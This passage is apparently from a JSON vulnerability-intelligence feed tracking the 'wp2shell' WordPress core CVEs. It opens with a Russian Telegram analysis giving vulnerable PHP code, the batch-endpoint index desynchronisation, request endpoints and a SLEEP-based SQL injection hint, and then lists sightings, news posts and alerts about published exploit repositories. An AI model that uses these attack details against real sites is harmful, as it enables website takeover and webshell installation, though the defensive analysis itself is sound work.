\u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043e\u0442 \u0438 \u0434\u043e.\n\n\u042d\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432:\n\n\ud83d\udccd CVE-2026-63030 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e REST API. CWE-436.\n\n\ud83d\udccd CVE-2026-60137 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL-\u043a\u043e\u0434\u0430 (SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f). CWE-89.\nwp2shell \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u0432 \u0421MS Wordpress. \u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: 6.8.0\u20136.8.5; 6.9.0\u20136.9.4; 7.0.0\u2013 7.0.1.\n\n\ud83e\udee1 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 serve_batch_request_v1, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /wp-json/batch/v1.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0434\u0432\u0430 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432: $requests[] (\u0441\u0430\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b) \u0438 $matches[] (\u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043d\u0438\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438). \n\n\u0415\u0441\u043b\u0438 \u043f\u0443\u0442\u044c \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, http://), \u0444\u0443\u043d\u043a\u0446\u0438\u044f wp_parse_url() \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 false. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 $validation[] \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0430 (WP_Error), \u043d\u043e \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 $matches[] \u043d\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 (\u0447\u0435\u0440\u0435\u0437 continue).\n\n\u041d\u0438\u0436\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0447\u0430\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f wp-includes/rest-api/class-wp-rest-server.php \nforeach ( $batch_request['requests'] as $args ) {\n            $parsed_url = wp_parse_url( $args['path'] );\n            if ( false === $parsed_url ) {\n                $requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) ); // \u0437\u0430\u043f\u0438\u0441\u044c \u043e\u0448\u0438\u0431\u043a\u0438 \u0434\u043b\u044f http:// \n\n                continue;\n            }\n\n            $single_request = new WP_REST_Request( $args['method'] ?? 'POST', $parsed_url['path'] );\n ....\n\n$matches    = array();\n$validation = array();\n$has_error  = false;\nforeach ( $requests as $single_request ) {\n    if ( is_wp_error( $single_request ) ) {\n        $has_error    = true;\n        $validation[] = $single_request;  \n        continue; // \u043f\u0440\u043e\u043f\u0443\u0441\u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 $matches[]\n    }\n\n\u0418\u0437-\u0437\u0430 continue \u043c\u0430\u0441\u0441\u0438\u0432\u044b $requests \u0438 $matches \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u043e\u0434\u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\n\n\u0421\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u2192 \u041d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 continue \u2192 \u041c\u0430\u0441\u0441\u0438\u0432\u044b $requests \u0438 $matches \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u2192 \u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0447\u0443\u0436\u0438\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u2192 \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 batch \u2192 \u0417\u0430\u043f\u0440\u043e\u0441 /wp/v2/posts \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a batch \u2192 \u0412\u043d\u0443\u0442\u0440\u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u2192 \u0417\u0430\u043f\u0440\u043e\u0441 \u043a /categories?author_exclude=SLEEP(2) \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a /posts (\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442) -> SQLi.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQLi\nauthor_exclude \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0442\u0438\u043f\u0430 array \u0432 get_collection_params().\n\u0412 get_items() \u043e\u043d \u043c\u0430\u043f\u0438\u0442\u0441\u044f \u0432 author_not_in \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0438\u043f\u0430.\n\u0418\u0437-\u0437\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0441\u0442\u0440\u043e\u043a\u0430.\nWP_Query \u043d\u0435 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. \u0421\u0442\u0440\u043e\u043a\u0430 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 SQL.\n\nif (is_array($query_vars['author__not_in'])) {\n    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize\n}\n$author__not_in = implode(',', (array) $query_vars['author__not_in']);\n$where .= \" AND post_author NOT IN ($author__not_in) \"\n\n\ud83e\udee1 \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438:\n\u0417\u0430\u043f\u0440\u043e\u0441:\n\u2013 POST /wordpress/batch/v1 + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430\n\u2013 POST /?rest_route=/batch/v1 + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \n\u2013 GET /?_method=POST&rest_route=/batch/v1&validation=normal + \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \nSQLi - \"path\": \"/wp/v2/ author_exclude=\n\n\u041f\u0440\u0438\u043c\u0435\u0440 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432\u00a0\u2014 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435.\n\n\ud83e\udee1 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c\u0441\u044f:\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2.\n2. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c WAF/IDS \u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 \u043e\u0442 SQLi.\n3. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 php-\u0444\u0430\u0439\u043b\u043e\u0432.\n4. \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0433\u0434\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0438\u043b\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u043b /batch/v1.\n5. \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a /batch/v1 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0435\u0442\u0438.\n\n\ud83e\udee1 \u041b\u043e\u0432\u0438\u0442\u0435 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u0443\u044e \u2014 docker-compose.yml \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c wordpress \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d \u043a \u043f\u043e\u0441\u0442\u0443.\n\u0417\u0430\u043f\u0443\u0441\u043a docker-compose up.", "url": "https://t.me/cyberwarehouse/1170"}, {"timestamp": "2026-07-27T01:00:03.416Z", "date_only": false, "value": "2026-07-27T01:00:03.416028Z", "kind": "sighting", "label": "Seen", "source": "Telegram/PBmhhWBXkUXTUTEk-C2z9E3mwEl-wHZmfMG20VQ_EPhGzVZPvdo", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8802a862-bfc6-4ed6-b6dd-3788bf2a69b9"}, {"timestamp": "2026-07-27T05:28:28.615Z", "date_only": false, "value": "2026-07-27T05:28:28.615413Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrm5yz6suo25", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "265e5894-cfa3-41d0-a5b2-5cd85313d8a5", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 46 interactions\nCVE-2026-50522: 42 interactions\nCVE-2026-60137: 37 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-42945: 3 interactions\nCVE-2026-45755: 2 interactions\nCVE-2026-48021: 2 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrm5yz6suo25"}, {"timestamp": "2026-07-27T05:55:54.872Z", "date_only": false, "value": "2026-07-27T05:55:54.872Z", "kind": "milestone", "label": "Published", "source": "bitnami_vulndb \u00b7 BIT-WORDPRESS-2026-63030", "record": "BIT-WORDPRESS-2026-63030", "field": "published"}, {"timestamp": "2026-07-27T06:00:04.872Z", "date_only": false, "value": "2026-07-27T06:00:04.872513Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95320", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2055278e-23d9-4ded-88b8-75a3d2fd01d6", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a yuag\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-27 04:52:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 + CVE-2026-60137+poc\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95320"}, {"timestamp": "2026-07-27T10:00:04.654Z", "date_only": false, "value": "2026-07-27T10:00:04.654062Z", "kind": "sighting", "label": "Seen", "source": "Telegram/kn38l-BAxVCicUp4xe_VlmwdfqsYeVojoIvsltdH6OF8az4", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0922202a-0821-4338-b321-1e040f178687"}, {"timestamp": "2026-07-27T12:01:10.329Z", "date_only": false, "value": "2026-07-27T12:01:10.329304Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mrmtx7nzd52d", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6dcdad7c-c997-4518-b38b-c764a59612a1", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-16232, CVE-2026-63030, CVE-2026-60137, CVE-2026-6875, CVE-2026-50522\nActors: Ransomware, Apt, Play\n\nFull intel: https://matlock.ca/cybersecnews", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mrmtx7nzd52d"}, {"timestamp": "2026-07-27T16:42:23.454Z", "date_only": false, "value": "2026-07-27T16:42:23.454122Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/technews4869.bsky.social/post/3mrndo2m77g2s", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "94540604-b620-46b6-874e-28176293f585", "content": "piyolog.hatenadiary.jp/ent...\nWordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog", "url": "https://bsky.app/profile/technews4869.bsky.social/post/3mrndo2m77g2s"}, {"timestamp": "2026-07-27T17:44:13.491Z", "date_only": false, "value": "2026-07-27T17:44:13.491337Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mrnh4nbasl2j", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "35e3dae6-511b-4b67-82b9-6ccf3eeed763", "content": "Active exploitation of two WordPress flaws. Webshells being deployed right now.\n\nCVE-2026-63030 and CVE-2026-60137.\n\nhttps://www.yazoul.net/news/article/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/\n\n#CyberSecurity #Security", "url": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mrnh4nbasl2j"}, {"timestamp": "2026-07-27T23:00:03.957Z", "date_only": false, "value": "2026-07-27T23:00:03.957494Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95429", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e52a8cbf-07f2-4f3b-ac8d-29fbf80e7f23", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-Hestia-Scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BytesPulse-OE\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-27 21:10:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only WordPress security scanner for HestiaCP servers. Detects wp2shell compromise indicators (CVE-2026-63030 / CVE-2026-60137) across all hosted sites \u2014 per-user email reports, core file diff against clean WordPress, PHP/JS/htaccess/image analysis, and optional AI evaluation via Claude API.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95429"}, {"timestamp": "2026-07-28T00:00:37.907Z", "date_only": false, "value": "2026-07-28T00:00:37.907900Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/kn38l-BAxVCicUp4xe_VlmwdfqsYeVojoIvsltdH6OF8az4", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "b1df5c4c-6f9e-46c1-a528-086c562ccb3b"}, {"timestamp": "2026-07-28T00:00:44.282Z", "date_only": false, "value": "2026-07-28T00:00:44.282431Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/95320", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "50e5087e-8f71-4fd0-9355-ffd0e83b8678", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a yuag\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-27 04:52:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 + CVE-2026-60137+poc\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95320"}, {"timestamp": "2026-07-28T04:46:10.475Z", "date_only": false, "value": "2026-07-28T04:46:10.475037Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrom4c6q752u", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ad7b7705-2dca-43f4-81bb-a2420942c559", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50522: 42 interactions\nCVE-2026-64600: 14 interactions\nCVE-2026-63030: 12 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-55999: 6 interactions\nCVE-2026-56000: 6 interactions\nCVE-2026-46331: 2 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrom4c6q752u"}, {"timestamp": "2026-07-28T05:00:03.752Z", "date_only": false, "value": "2026-07-28T05:00:03.752631Z", "kind": "sighting", "label": "Seen", "source": "Telegram/T9GQGrhFX-f2wpOxZaSVD3422spbtNh3v6uYSjmkW6OcFxI", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6dac5b82-d5e3-4c0b-9d4a-bce3f0018fd9"}, {"timestamp": "2026-07-28T12:47:44.371Z", "date_only": false, "value": "2026-07-28T12:47:44.371175Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3mrph5bvcus2v", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "f61732f2-3b8a-490b-a1bb-266f49dec16d", "content": "\ud83d\udea8 In this week\u2019s newsletter, we cover CVE-2026-63030 (WP2Shell), a critical SQL injection-to-RCE vulnerability affecting WordPress core that has rapidly entered the Rapid Escalation phase. \n\n\ud83d\udc49https://www.crowdsec.net/vulntracking-report/cve-2026-63030-wordpress-wp2shell-sqli-to-rce", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3mrph5bvcus2v"}, {"timestamp": "2026-07-29T00:00:46.861Z", "date_only": false, "value": "2026-07-29T00:00:46.861525Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/T9GQGrhFX-f2wpOxZaSVD3422spbtNh3v6uYSjmkW6OcFxI", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7bea378d-3a9c-47d5-b0a4-fe7a52f1c765"}, {"timestamp": "2026-07-30T09:00:03.375Z", "date_only": false, "value": "2026-07-30T09:00:03.375052Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberbannews_ir/22867", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f2faf9bb-cb61-4e1f-a2fe-301f09793753", "content": "\ud83d\udd34 \u0648\u0635\u0644\u0647 \u0641\u0648\u0631\u06cc \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0648\u0631\u062f\u067e\u0631\u0633 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\n\n\ud83d\udd3b \u0648\u0631\u062f\u067e\u0631\u0633 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-63030 \u0631\u0627 \u0628\u0631\u0637\u0631\u0641 \u06a9\u0631\u062f\u061b \u0646\u0642\u0635\u06cc \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u062a\u0646\u0647\u0627 \u0628\u0627 \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0646\u0627\u0634\u0646\u0627\u0633\u060c \u06a9\u0646\u062a\u0631\u0644 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0631\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0628\u06af\u06cc\u0631\u0646\u062f.\n\n\ud83d\udd39 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 6.9.0 \u062a\u0627 6.9.4 \u0648 7.0.0 \u062a\u0627 7.0.1 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06af\u0631\u0686\u0647 \u062a\u0627\u06a9\u0646\u0648\u0646 \u06af\u0632\u0627\u0631\u0634\u06cc \u0627\u0632 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06af\u0633\u062a\u0631\u062f\u0647 \u0645\u0646\u062a\u0634\u0631 \u0646\u0634\u062f\u0647\u060c \u0627\u0645\u0627 \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062a\u0648\u0635\u06cc\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0645\u062f\u06cc\u0631\u0627\u0646 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0648\u0631\u062f\u067e\u0631\u0633 \u0631\u0627 \u0628\u0647 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 6.9.5 \u06cc\u0627 7.0.2 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u0646\u062f.\n\n#\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc #\u062a\u0647\u062f\u06cc\u062f_\u0633\u0627\u06cc\u0628\u0631\u06cc #\u0627\u0645\u0646\u06cc\u062a_\u0633\u0627\u06cc\u0628\u0631\u06cc\n\n\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\ud83d\udd38\n\ud83d\udd39\ud83d\udd39 @cyberbannews_ir", "url": "https://t.me/cyberbannews_ir/22867"}, {"timestamp": "2026-07-31T00:00:05.368Z", "date_only": false, "value": "2026-07-31T00:00:05.368626Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95919", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "24f46593-9e0e-4f7c-93c8-5677bb6aabb5", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-WP2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Industri4l-H3ll-Xpl0it3rs\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-30 22:38:34\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 Exploit | by gr1tx\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95919"}, {"timestamp": "2026-07-31T08:00:03.725Z", "date_only": false, "value": 